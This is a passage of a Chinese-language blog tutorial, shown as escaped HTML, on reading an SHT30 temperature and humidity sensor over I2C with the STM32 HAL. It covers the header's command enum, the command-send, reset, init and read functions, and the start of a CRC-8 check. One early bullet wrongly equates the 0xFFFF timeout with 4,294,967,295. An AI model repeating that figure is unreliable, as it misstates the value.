class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_RD\u003c/code\u003e:我们宏定义了读的地址,传读的地址\u003ccode\u003e#define SHT30_ADDR_RD ((SHT30_ADDR\u0026lt;\u0026lt;1) | 0x01)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e:我们将获取到的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_DATA_SIZE\u003c/code\u003e:宏定义,6个字节\u003ccode\u003e#define SHT30_DATA_SIZE 6\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"头文件-sht30-h\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%A4%B4%E6%96%87%E4%BB%B6-sht30-h\" class=\"headerlink\" title=\"头文件 sht30.h\"\u003e\u003c/a\u003e头文件 \u003ccode\u003esht30.h\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e在头文件中我们提前定义好相关命令与函数原型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eenum\u003c/code\u003e用于定义枚举类型,它本质上是一种整数类型。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifndef\u003c/span\u003e \u003cspan class=\"token expression\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stm32f4xx_hal.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_WR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_RD\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_DATA_SIZE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eenum\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 软件复位命令 */\u003c/span\u003e SOFT_RESET_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30A2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 单次测量模式 命名格式:Repeatability_CS_CMD CS: Clock stretching */\u003c/span\u003e HIGH_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2400\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x240B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2416\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式 命名格式:Repeatability_MPS_CMD MPS:measurement per second */\u003c/span\u003e HIGH_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2032\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x202F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2130\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2126\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x212D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2236\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2220\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x222B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2334\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2322\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2329\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2737\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2721\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x272A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式读取数据命令 */\u003c/span\u003e READOUT_FOR_PERIODIC_MODE \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xE000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e SHT30_CMD\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* INC_SHT30_H_ */\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"主要文件-sht30-c\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E4%B8%BB%E8%A6%81%E6%96%87%E4%BB%B6-sht30-c\" class=\"headerlink\" title=\"主要文件 sht30.c\"\u003e\u003c/a\u003e主要文件 \u003ccode\u003esht30.c\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e先包含主要的一些头文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;i2c.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sht30.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送指令\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%8F%91%E9%80%81%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"发送指令\"\u003e\u003c/a\u003e发送指令\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 向SHT30发送一条指令(16bit) * @param cmd —— SHT30指令(在SHT30_MODE中枚举定义) * @retval 成功返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_CMD cmd\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd \u003cspan class=\"token operator\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"复位SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%A4%8D%E4%BD%8DSHT30\" class=\"headerlink\" title=\"复位SHT30\"\u003e\u003c/a\u003e复位SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 复位SHT30 * @param none * @retval none*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSOFT_RESET_CMD\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"初始化SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%88%9D%E5%A7%8B%E5%8C%96SHT30\" class=\"headerlink\" title=\"初始化SHT30\"\u003e\u003c/a\u003e初始化SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003e/** * @brief 初始化SHT30 * @param none * @retval 成功返回HAL_OK * @note 周期测量模式*/uint8_t SHT30_Init(void) {return sht30_send_cmd(MEDIUM_2_CMD);}\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"读取数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E8%AF%BB%E5%8F%96%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"读取数据\"\u003e\u003c/a\u003e读取数据\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 从SHT30读取一次数据 * @param dat —— 存储读取数据的地址(6个字节数组) * @retval 成功 —— 返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eREADOUT_FOR_PERIODIC_MODE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"CRC-8校验\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#CRC-8%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"CRC-8校验\"\u003e\u003c/a\u003eCRC-8校验\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eCRC8_POLYNOMIAL\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x31\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token 